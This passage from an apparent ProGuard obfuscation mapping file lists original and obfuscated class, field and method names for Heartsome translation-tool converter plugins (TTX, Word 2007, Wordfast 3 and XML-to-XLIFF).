run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> monitorWork + void parseOutputFile(java.lang.String,java.lang.String) -> d + void parseXlfFile(java.lang.String) -> q + void ananysisXlfTU(org.eclipse.core.runtime.IProgressMonitor) -> v + java.lang.String createTTXTuvContent(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String,java.util.List) -> a + java.lang.String getTagParent(java.lang.String,java.lang.String) -> v + void getStartAndEndTagStr(java.util.List,java.lang.String) -> a + void replaceSegment(java.lang.String,java.lang.String,java.lang.String) -> b + java.lang.String getTagId(java.lang.String) -> bE + void getSrcAndTgtLang() -> cG + void deleteTgtLangIfNon() -> cH + java.lang.String replacePH(java.lang.String) -> bF +net.heartsome.cat.converter.ttx.resource.Messages -> net.heartsome.cat.converter.ttx.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.ui.rcp.resource.Messages -> net.heartsome.cat.converter.ui.rcp.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.util.AbstractModelObject -> net.heartsome.cat.converter.util.AbstractModelObject: + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + void addPropertyChangeListener(java.beans.PropertyChangeListener) -> addPropertyChangeListener + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener + void removePropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> removePropertyChangeListener + void firePropertyChange(java.lang.String,java.lang.Object,java.lang.Object) -> firePropertyChange +net.heartsome.cat.converter.util.AndFilter -> net.heartsome.cat.converter.util.AndFilter: + net.heartsome.cat.converter.util.FilterBuilder[] filters -> lW + java.lang.StringBuilder append(java.lang.StringBuilder) -> append + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.util.CalculateProcessedBytes -> net.heartsome.cat.converter.util.CalculateProcessedBytes: + int DEFAULT_TOTAL_TASK -> DEFAULT_TOTAL_TASK + long totalSize -> lX + int totalTask -> lY + long oneTaskSize -> lZ + long remainSize -> ma + void initialize(long,int) -> a + int getTotalTask() -> getTotalTask + int calculateProcessed(long) -> calculateProcessed + void calculateProcessed(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> calculateProcessed +net.heartsome.cat.converter.util.ConverterBean -> net.heartsome.cat.converter.util.ConverterBean: + java.lang.String name -> name + java.lang.String description -> description + java.lang.String[] extensions -> mb + java.lang.String getName() -> getName + java.lang.String getDescription() -> getDescription + java.lang.String[] getExtensions() -> getExtensions + java.lang.String toString() -> toString + boolean equals(java.lang.Object) -> equals + java.lang.String getFilterNames() -> getFilterNames + java.lang.String getFilterExtensions() -> getFilterExtensions + java.lang.String getFilterExtensionString(java.lang.String) -> bG +net.heartsome.cat.converter.util.ConverterRegister -> net.heartsome.cat.converter.util.ConverterRegister: + org.osgi.framework.ServiceRegistration registerPositiveConverter(org.osgi.framework.BundleContext,net.heartsome.cat.converter.Converter,java.util.Properties) -> registerPositiveConverter + org.osgi.framework.ServiceRegistration registerReverseConverter(org.osgi.framework.BundleContext,net.heartsome.cat.converter.Converter,java.util.Properties) -> registerReverseConverter + java.util.Dictionary getDictByProperties(java.util.Properties) -> a +net.heartsome.cat.converter.util.ConverterTracker -> net.heartsome.cat.converter.util.ConverterTracker: + boolean DEBUG -> DEBUG + java.lang.String selectedType -> selectedType + java.util.List supportTypes -> supportTypes + org.osgi.util.tracker.ServiceTracker converterServiceTracker -> converterServiceTracker + org.osgi.framework.BundleContext context -> context + java.lang.String direction -> direction + java.util.List getSupportTypes() -> getSupportTypes + void setSupportTypes(java.util.List) -> setSupportTypes + java.lang.String getSelectedType() -> getSelectedType + void setSelectedType(java.lang.String) -> setSelectedType + java.lang.String getDirection() -> getDirection + void close() -> close + java.util.Map convert(java.util.Map) -> convert + net.heartsome.cat.converter.Converter getConverter() -> getConverter + net.heartsome.cat.converter.Converter getConverter(java.lang.String) -> getConverter + org.osgi.framework.BundleContext access$0(net.heartsome.cat.converter.util.ConverterTracker) -> access$0 + java.util.List access$1(net.heartsome.cat.converter.util.ConverterTracker) -> access$1 +net.heartsome.cat.converter.util.ConverterTracker$ConverterCustomizer -> net.heartsome.cat.converter.util.ConverterTracker$ConverterCustomizer: + net.heartsome.cat.converter.util.ConverterTracker this$0 -> mc + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.util.ConverterUtils -> net.heartsome.cat.converter.util.ConverterUtils: + void throwConverterException(java.lang.String,java.lang.String,java.lang.Throwable) -> throwConverterException + void throwConverterException(java.lang.String,java.lang.String) -> throwConverterException + net.heartsome.cat.converter.util.CalculateProcessedBytes getCalculateProcessedBytes(long) -> getCalculateProcessedBytes + net.heartsome.cat.converter.util.CalculateProcessedBytes getCalculateProcessedBytes(java.lang.String) -> getCalculateProcessedBytes + net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord getReverseConversionInfoLogRecord() -> getReverseConversionInfoLogRecord + boolean isOpenOfficeOrMSOffice2007(java.lang.String) -> isOpenOfficeOrMSOffice2007 +net.heartsome.cat.converter.util.EqFilter -> net.heartsome.cat.converter.util.EqFilter: + java.lang.String name -> name + java.lang.String value -> value + java.lang.StringBuilder append(java.lang.StringBuilder) -> append +net.heartsome.cat.converter.util.FilterBuilder -> net.heartsome.cat.converter.util.FilterBuilder: + java.lang.String toString() -> toString + java.lang.StringBuilder append(java.lang.StringBuilder) -> append +net.heartsome.cat.converter.util.Progress -> net.heartsome.cat.converter.util.Progress: + org.eclipse.core.runtime.IProgressMonitor getMonitor(org.eclipse.core.runtime.IProgressMonitor) -> getMonitor + org.eclipse.core.runtime.IProgressMonitor getSubMonitor(org.eclipse.core.runtime.IProgressMonitor,int) -> getSubMonitor + org.eclipse.core.runtime.IProgressMonitor getMonitor() -> getMonitor +net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord -> net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord: + org.slf4j.Logger LOGGER -> LOGGER + long startTime -> startTime + long tempStartTime -> md + long tempEndTime -> me + long endTime -> mf + void startConversion() -> startConversion + void logConversionFileInfo(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> logConversionFileInfo + void startLoadingCatalogueFile() -> startLoadingCatalogueFile + void endLoadingCatalogueFile() -> endLoadingCatalogueFile + void startLoadingIniFile() -> startLoadingIniFile + void endLoadingIniFile() -> endLoadingIniFile + void startLoadingXliffFile() -> startLoadingXliffFile + void endLoadingXliffFile() -> endLoadingXliffFile + void startReplacingSegmentSymbol() -> startReplacingSegmentSymbol + void endReplacingSegmentSymbol() -> endReplacingSegmentSymbol + void endConversion() -> endConversion +net.heartsome.cat.converter.word2007.Activator -> net.heartsome.cat.converter.word2007.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.word2007.Activator plugin -> mg + org.osgi.framework.ServiceRegistration docx2XliffSR -> mh + org.osgi.framework.ServiceRegistration xliff2DocxSR -> mi + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.word2007.Activator getDefault() -> getDefault +net.heartsome.cat.converter.word2007.Docx2Xliff -> net.heartsome.cat.converter.word2007.Docx2Xliff: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + org.slf4j.Logger LOGGER -> LOGGER + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder + void idealizeGTag(java.lang.String,java.lang.String) -> l + void main(java.lang.String[]) -> main + void access$0(java.lang.String,java.lang.String) -> c + org.slf4j.Logger access$1() -> bY +net.heartsome.cat.converter.word2007.Docx2Xliff$MSOffice2XliffImpl -> net.heartsome.cat.converter.word2007.Docx2Xliff$MSOffice2XliffImpl: + java.lang.String qtToolID -> dT + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + java.lang.String catalogue -> catalogue + java.lang.String srcEncoding -> srcEncoding + boolean isSuite -> dS + java.lang.String srx -> mj + net.heartsome.cat.converter.word2007.XliffOutputer xlfOutput -> mk + net.heartsome.cat.converter.word2007.Docx2Xliff this$0 -> ml + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.word2007.PartOperate -> net.heartsome.cat.converter.word2007.PartOperate: + java.lang.String partPath -> mm + com.ximpleware.VTDNav vn -> vn + com.ximpleware.AutoPilot ap -> m + com.ximpleware.XMLModifier xm -> hk + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + com.ximpleware.AutoPilot otherAP -> mn + com.ximpleware.AutoPilot childAP -> mo + com.ximpleware.AutoPilot extendAP -> mp + java.util.Map translateAttrMap -> mq + net.heartsome.cat.converter.word2007.XliffOutputer xlfOutput -> mk + java.util.Map nameSpaceMap -> mr + net.heartsome.cat.converter.StringSegmenter segmenter -> er + net.heartsome.cat.converter.word2007.XliffInputer xlfInput -> ms + boolean isLink -> gP + java.lang.String linkText -> mw + void loadFile(java.util.Map) -> i + void converter() -> cI + void reverseConvert() -> cJ + java.lang.String getPStyle() -> cK + java.lang.String getRStyle() -> cL + java.lang.String getExtendNodes() -> cM + java.lang.String getText() -> getText + java.lang.String getLinkText() -> li + int getTextCount() -> cN + int getNodeCount(java.lang.String) -> bQ + void updateTextToPlaceHoder(java.lang.String) -> bH + java.lang.String getSegIdFromPlaceHoderStr(java.lang.String) -> bI + java.util.List getAllSegIdsFromPlaceHoderStr(java.lang.String) -> bJ + void operateTransAttributes(java.lang.String) -> bK + java.lang.String deleteBlank(java.lang.String) -> deleteBlank + void analysisNodeP() -> cO + java.util.List modifySeg(java.lang.String[],int,java.lang.String,java.lang.String) -> a + net.heartsome.cat.converter.word2007.common.SectionSegBean newSectionSegBean(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + java.lang.String createSourceStr(java.util.Map) -> j + void analysisReversePnode() -> cP + void reverseTranslateAttributes(java.lang.String) -> bL + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.word2007.TestWord2007 -> net.heartsome.cat.converter.word2007.TestWord2007: + net.heartsome.cat.converter.word2007.XliffOutputer xlfOutput -> mk + void docx2Xliff() -> docx2Xliff + void xliff2Docx() -> xliff2Docx + void testSegDocument() -> testSegDocument + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.word2007.Xliff2Docx -> net.heartsome.cat.converter.word2007.Xliff2Docx: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder +net.heartsome.cat.converter.word2007.Xliff2Docx$Xliff2DocxImpl -> net.heartsome.cat.converter.word2007.Xliff2Docx$Xliff2DocxImpl: + net.heartsome.cat.converter.word2007.common.PathUtil pathUtil -> mt + net.heartsome.cat.converter.word2007.Xliff2Docx this$0 -> mu + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.word2007.XliffInputer -> net.heartsome.cat.converter.word2007.XliffInputer: + java.lang.String xliffFile -> dN + com.ximpleware.VTDNav vn -> vn + com.ximpleware.AutoPilot ap -> m + com.ximpleware.AutoPilot childAP -> mo + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + void loadXliff() -> cQ + java.lang.String getTargetStrByTUId(java.util.List,boolean) -> getTargetStrByTUId + void anaysisTgtOrSrcNode(java.lang.StringBuffer,com.ximpleware.VTDNav,boolean) -> a + void ananysisTag(com.ximpleware.VTDNav,java.util.Map) -> a + void ananysisSubTag(com.ximpleware.VTDNav,java.util.Map,java.util.Map) -> a + java.lang.String resetCleanStr(java.lang.String) -> resetCleanStr + void main(java.lang.String[]) -> main + void test_1() -> test_1 + void restoreGTag(java.lang.String) -> cI +net.heartsome.cat.converter.word2007.XliffOutputer -> net.heartsome.cat.converter.word2007.XliffOutputer: + java.lang.String xliffPath -> mv + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + java.io.FileOutputStream output -> dR + int segId -> ek + int tagId -> el + void writeHeader(java.lang.String,java.lang.String,boolean,java.lang.String,java.lang.String) -> writeHeader + void writeOut(java.lang.String) -> I + void outputEndTag() -> outputEndTag + void close() -> close + java.lang.String cleanString(java.lang.String) -> cleanString + int getSegId() -> getSegId + int getTagId() -> getTagId + int useTagId() -> useTagId + int useSegId() -> useSegId + java.lang.String addTransUnit(java.lang.String) -> addTransUnit + void addTransUnit(java.lang.String,java.lang.String) -> addTransUnit + void main(java.lang.String[]) -> main + java.lang.String cleanString11(java.lang.String) -> cleanString11 +net.heartsome.cat.converter.word2007.common.DocxConverterException -> net.heartsome.cat.converter.word2007.common.a: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.word2007.common.PathConstant -> net.heartsome.cat.converter.word2007.common.b: + java.lang.String DOCUMENT -> DOCUMENT + java.lang.String COMMENTS -> mx + java.lang.String ENDNOTES -> my + java.lang.String FONTTABLE -> mz + java.lang.String FOOTNOTES -> mA + java.lang.String SETTINGS -> mB + java.lang.String STYLES -> mC + java.lang.String WEBSETTINGS -> mD + java.lang.String DOCUMENTRELS -> mE + java.lang.String WORD_FOLDER -> mF + java.lang.String interTag_FILE -> KQ +net.heartsome.cat.converter.word2007.common.PathUtil -> net.heartsome.cat.converter.word2007.common.c: + java.lang.String superRoot -> hA + java.lang.String root -> root + java.lang.String tempRoot -> hC + java.lang.String wordRoot -> mG + java.lang.String interTagPath -> KR + void setRoot(java.lang.String) -> setRoot + void setSuperRoot() -> cR + java.lang.String getPackageRoot() -> cS + java.lang.String getRootName() -> getRootName + void back2TopLeve() -> aR + java.lang.String getPackageFilePath(java.lang.String,boolean) -> b + void markRoot() -> aS + void resetRoot() -> resetRoot + void setWordRoot() -> cT + java.lang.String getSuperRoot() -> cU + java.lang.String getInterTagPath() -> dU +net.heartsome.cat.converter.word2007.common.SectionSegBean -> net.heartsome.cat.converter.word2007.common.d: + java.lang.String ctype -> mH + java.lang.String text -> text + java.lang.String style -> style + java.lang.String extendNodesStr -> mI + java.lang.String phTagStr -> mJ + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText + java.lang.String getStyle() -> getStyle + void setStyle(java.lang.String) -> setStyle + java.lang.String getExtendNodesStr() -> cV + void setExtendNodesStr(java.lang.String) -> bM + java.lang.String getPhTagStr() -> cW + void setPhTagStr(java.lang.String) -> bN + java.lang.String getCtype() -> cX + void setCtype(java.lang.String) -> bO +net.heartsome.cat.converter.word2007.common.TagBean -> net.heartsome.cat.converter.word2007.common.e: + java.lang.String style -> style + java.lang.String text -> text + int start -> start + int end -> end + java.lang.String getStyle() -> getStyle + void setStyle(java.lang.String) -> setStyle + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText + int getStart() -> getStart + void setStart(int) -> setStart + int getEnd() -> getEnd + void setEnd(int) -> setEnd + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.word2007.common.ZipUtil -> net.heartsome.cat.converter.word2007.common.f: + void zipFolder(java.lang.String,java.lang.String) -> k + java.lang.String upZipFile(java.lang.String,java.lang.String) -> upZipFile + void zipFiles(java.util.zip.ZipOutputStream,java.io.File,java.lang.String) -> a + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a +net.heartsome.cat.converter.word2007.partOper.CommentsPart -> net.heartsome.cat.converter.word2007.partOper.a: + void init() -> init + void converter() -> cI + void operateCommentsContent(java.lang.String) -> bP + void outputPart() -> cY + void reverseConvert() -> cJ +net.heartsome.cat.converter.word2007.partOper.DocumentPart -> net.heartsome.cat.converter.word2007.partOper.b: + net.heartsome.cat.converter.word2007.common.PathUtil pathUtil -> mt + net.heartsome.cat.converter.word2007.partOper.DocumentRelation docRel -> mK + java.lang.String inputFile -> dM + net.heartsome.cat.converter.word2007.partOper.FooterNodesPart footerNodesPart -> mL + net.heartsome.cat.converter.word2007.partOper.CommentsPart commentsPart -> mM + net.heartsome.cat.converter.word2007.partOper.EndNotesPart endNotesPart -> mN + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + int workInterval -> mO + void init() -> init + void clearNoUseNodeAndDealBR() -> bh + void converter() -> cI + boolean validIsRevision() -> cZ + void testSegFile() -> da + void operateHeaderAndFooter() -> db + void getDocumentContent() -> dc + void getFooterNodesId(java.util.List) -> j + void getCommentsId(java.util.List) -> k + void getEndNotesId(java.util.List) -> l + void operateFooterNodes(java.util.List) -> m + void operateComments(java.util.List) -> n + void operateEndNotes(java.util.List) -> o + void initWorkInterval(int) -> g + int getNodeCount(java.lang.String) -> bQ + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> monitorWork + void reverseConvert() -> cJ +net.heartsome.cat.converter.word2007.partOper.DocumentRelation -> net.heartsome.cat.converter.word2007.partOper.c: + com.ximpleware.VTDNav vn -> vn + com.ximpleware.AutoPilot ap -> m + java.lang.String xmlPath -> mP + net.heartsome.cat.converter.word2007.common.PathUtil pathUtil -> mt + void loadFile() -> aw + java.lang.String getPartPathById(java.lang.String) -> bR + void arrangeRelations(net.heartsome.cat.converter.word2007.XliffInputer,org.eclipse.core.runtime.IProgressMonitor) -> a + void monitorWork(org.eclipse.core.runtime.IProgressMonitor) -> m +net.heartsome.cat.converter.word2007.partOper.EndNotesPart -> net.heartsome.cat.converter.word2007.partOper.d: + void init() -> init + void converter() -> cI + void operateEndNotesContent(java.lang.String) -> bS + void outputPart() -> cY + void reverseConvert() -> cJ +net.heartsome.cat.converter.word2007.partOper.FooterNodesPart -> net.heartsome.cat.converter.word2007.partOper.e: + void init() -> init + void converter() -> cI + void operateFooterNodesContent(java.lang.String) -> bT + void outputPart() -> cY + void reverseConvert() -> cJ +net.heartsome.cat.converter.word2007.partOper.FooterPart -> net.heartsome.cat.converter.word2007.partOper.f: + void init() -> init + void converter() -> cI + void reverseConvert() -> cJ +net.heartsome.cat.converter.word2007.partOper.HeaderPart -> net.heartsome.cat.converter.word2007.partOper.g: + void init() -> init + void converter() -> cI + void reverseConvert() -> cJ + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.word2007.resource.Messages -> net.heartsome.cat.converter.word2007.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.wordfast3.Activator -> net.heartsome.cat.converter.wordfast3.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.wordfast3.Activator plugin -> JW + org.osgi.framework.ServiceRegistration wf2XliffSR -> JX + org.osgi.framework.ServiceRegistration xliff2WfSR -> Mk + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.wordfast3.Activator getDefault() -> mZ +net.heartsome.cat.converter.wordfast3.CommentBean -> net.heartsome.cat.converter.wordfast3.b: + java.lang.String user -> user + java.lang.String date -> lk + java.lang.String type -> type + java.lang.String commentText -> lj + java.lang.String commentAttrStr -> ahV + java.lang.String getUser() -> getUser + void setUser(java.lang.String) -> setUser + java.lang.String getDate() -> getDate + void setDate(java.lang.String) -> setDate + java.lang.String getCommentText() -> getCommentText + void setCommentText(java.lang.String) -> setCommentText + java.lang.String getCommentAttrStr() -> na + void setCommentAttrStr(java.lang.String) -> k + java.lang.String getType() -> getType + void setType(java.lang.String) -> setType +net.heartsome.cat.converter.wordfast3.TagBean -> net.heartsome.cat.converter.wordfast3.c: + java.lang.String content -> o + java.lang.String frag -> ahW + java.util.Map attributesMap -> ahX + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + java.lang.String getFrag() -> nb + void setFrag(java.lang.String) -> bB + java.util.Map getAttributesMap() -> getAttributesMap + void setAttributesMap(java.util.Map) -> setAttributesMap +net.heartsome.cat.converter.wordfast3.TuBean -> net.heartsome.cat.converter.wordfast3.d: + java.lang.String srcContent -> vp + java.lang.String tgtContent -> vq + java.lang.String match -> match + java.util.List commentList -> lq + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent + java.lang.String getMatch() -> getMatch + void setMatch(java.lang.String) -> setMatch + java.util.List getCommentList() -> getCommentList + void setCommentList(java.util.List) -> h +net.heartsome.cat.converter.wordfast3.Wf2Xliff -> net.heartsome.cat.converter.wordfast3.e: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + org.slf4j.Logger LOGGER -> LOGGER + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + java.lang.String getR8dateStrFromUTC(java.lang.String) -> cq + java.lang.String analysisTag(java.lang.String) -> cr + void main(java.lang.String[]) -> main + java.util.Map getElementAttributs(com.ximpleware.VTDNav) -> d + void access$0(java.lang.String,java.lang.String) -> c + java.lang.String access$1(java.lang.String) -> u + java.lang.String access$2(java.lang.String) -> v + java.util.Map access$3(net.heartsome.cat.converter.wordfast3.Wf2Xliff,com.ximpleware.VTDNav) -> a +net.heartsome.cat.converter.wordfast3.Wf2Xliff$Wf2XliffImpl -> net.heartsome.cat.converter.wordfast3.f: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String userSourceLang -> dP + java.lang.String targetLang -> dQ + java.lang.String srcEncoding -> srcEncoding + java.io.FileOutputStream output -> dR + boolean lockXtrans -> lockXtrans + boolean lock100 -> lock100 + boolean isSuite -> dS + java.lang.String qtToolID -> dT + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + net.heartsome.cat.converter.wordfast3.Wf2Xliff this$0 -> ahY + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseSkeletonFile() -> B + void writeString(java.lang.String) -> writeString + void writeHeader() -> writeHeader + void analyzeNodes() -> C + void insertPlaceHolder(net.heartsome.xml.vtdimpl.VTDUtils,int) -> a + void writeSegment(net.heartsome.cat.converter.wordfast3.TuBean,int) -> a + void makeTagTheSame() -> nc + boolean fragEquls(java.lang.String,java.util.List) -> c + void analysisNotEqualsTag(com.ximpleware.XMLModifier,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.VTDNav,java.util.List) -> a +net.heartsome.cat.converter.wordfast3.Xliff2Wf -> net.heartsome.cat.converter.wordfast3.g: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + org.slf4j.Logger LOGGER -> LOGGER + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void main(java.lang.String[]) -> main + java.lang.String getUTCDateStr(java.lang.String) -> cs + java.lang.String analysisTag(java.lang.String) -> cr + void access$0(java.lang.String,java.lang.String) -> c + java.lang.String access$1(java.lang.String) -> u +net.heartsome.cat.converter.wordfast3.Xliff2Wf$Xliff2WfImpl -> net.heartsome.cat.converter.wordfast3.h: + java.lang.String outputFile -> outputFile + com.ximpleware.VTDNav outputVN -> dZ + com.ximpleware.XMLModifier outputXM -> ea + com.ximpleware.AutoPilot outputAP -> eb + com.ximpleware.VTDNav hsxlfVN -> ec + java.lang.String encoding -> encoding + net.heartsome.cat.converter.wordfast3.Xliff2Wf this$0 -> ahZ + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseOutputFile(java.lang.String,java.lang.String) -> d + void parseXlfFile(java.lang.String) -> q + void ananysisXlfTU() -> F + void replaceSegment(java.lang.String,net.heartsome.cat.converter.wordfast3.TuBean) -> a + void getNotes(com.ximpleware.VTDNav,net.heartsome.cat.converter.wordfast3.TuBean) -> a +net.heartsome.cat.converter.wordfast3.resource.Messages -> net.heartsome.cat.converter.wordfast3.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.xml.Activator -> net.heartsome.cat.converter.xml.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.xml.Activator plugin -> mQ + org.osgi.framework.ServiceRegistration xml2XliffSR -> mR + org.osgi.framework.ServiceRegistration xliff2XmlSR -> mS + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.xml.Activator getDefault() -> getDefault +net.heartsome.cat.converter.xml.AutoConfiguration -> net.heartsome.cat.converter.xml.AutoConfiguration: + java.util.Hashtable segment -> mT + void run(java.lang.String,java.lang.String,java.lang.String) -> run + void recurse(net.heartsome.xml.Element) -> i +net.heartsome.cat.converter.xml.Xliff2Xml -> net.heartsome.cat.converter.xml.Xliff2Xml: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String replaceToken(java.lang.String,java.lang.String,java.lang.String) -> replaceToken + void recurse(net.heartsome.xml.Element) -> i + java.lang.String replaceEntities(java.lang.String,java.lang.String,java.lang.String) -> c + void access$0(net.heartsome.xml.Element) -> w + java.lang.String access$1(java.lang.String,java.lang.String,java.lang.String) -> d +net.heartsome.cat.converter.xml.Xliff2Xml$Xliff2XmlImpl -> net.heartsome.cat.converter.xml.Xliff2Xml$Xliff2XmlImpl: + java.lang.String UTF_8 -> UTF_8 + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String line -> line + java.util.Hashtable segments -> ez + java.io.FileOutputStream output -> dR + java.lang.String encoding -> encoding + net.heartsome.xml.Catalogue catalogue -> eA + java.util.Hashtable entities -> entities + boolean inDesign -> mU + boolean inAttribute -> mV + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor replaceMonitor -> eC + net.heartsome.cat.converter.xml.Xliff2Xml this$0 -> mW + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void removeSeparators(java.lang.String,net.heartsome.xml.Catalogue) -> a + java.lang.String extractText(net.heartsome.xml.Element) -> extractText + java.lang.String addEntities(java.lang.String) -> G + void writeString(java.lang.String) -> writeString + void writeString(java.lang.String,boolean,java.lang.String) -> a + void loadSegments() -> N +net.heartsome.cat.converter.xml.Xml2Xliff -> net.heartsome.cat.converter.xml.Xml2Xliff: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.xml.Xml2Xliff$Xml2XliffImpl -> net.heartsome.cat.converter.xml.Xml2Xliff$Xml2XliffImpl: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + java.lang.String srcEncoding -> srcEncoding + java.io.FileInputStream input -> ei + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + int segId -> ek + int tagId -> el + java.util.List segments -> cV + java.util.Hashtable startsSegment -> em + java.util.Hashtable translatableAttributes -> en + java.util.Hashtable inline -> mX + java.util.Hashtable ctypes -> eo + java.util.Hashtable keepFormating -> ep + boolean segByElement -> segByElement + net.heartsome.cat.converter.StringSegmenter segmenter -> er + java.lang.String catalogue -> catalogue + java.lang.String programFolder -> mY + java.lang.String rootElement -> mZ + java.util.Hashtable entities -> entities + java.lang.String entitiesMap -> na + net.heartsome.xml.Element root -> cU + java.lang.String text -> text + java.util.Stack stack -> stack + java.lang.String translatable -> nb + boolean inDesign -> mU + java.util.Hashtable ignore -> jT 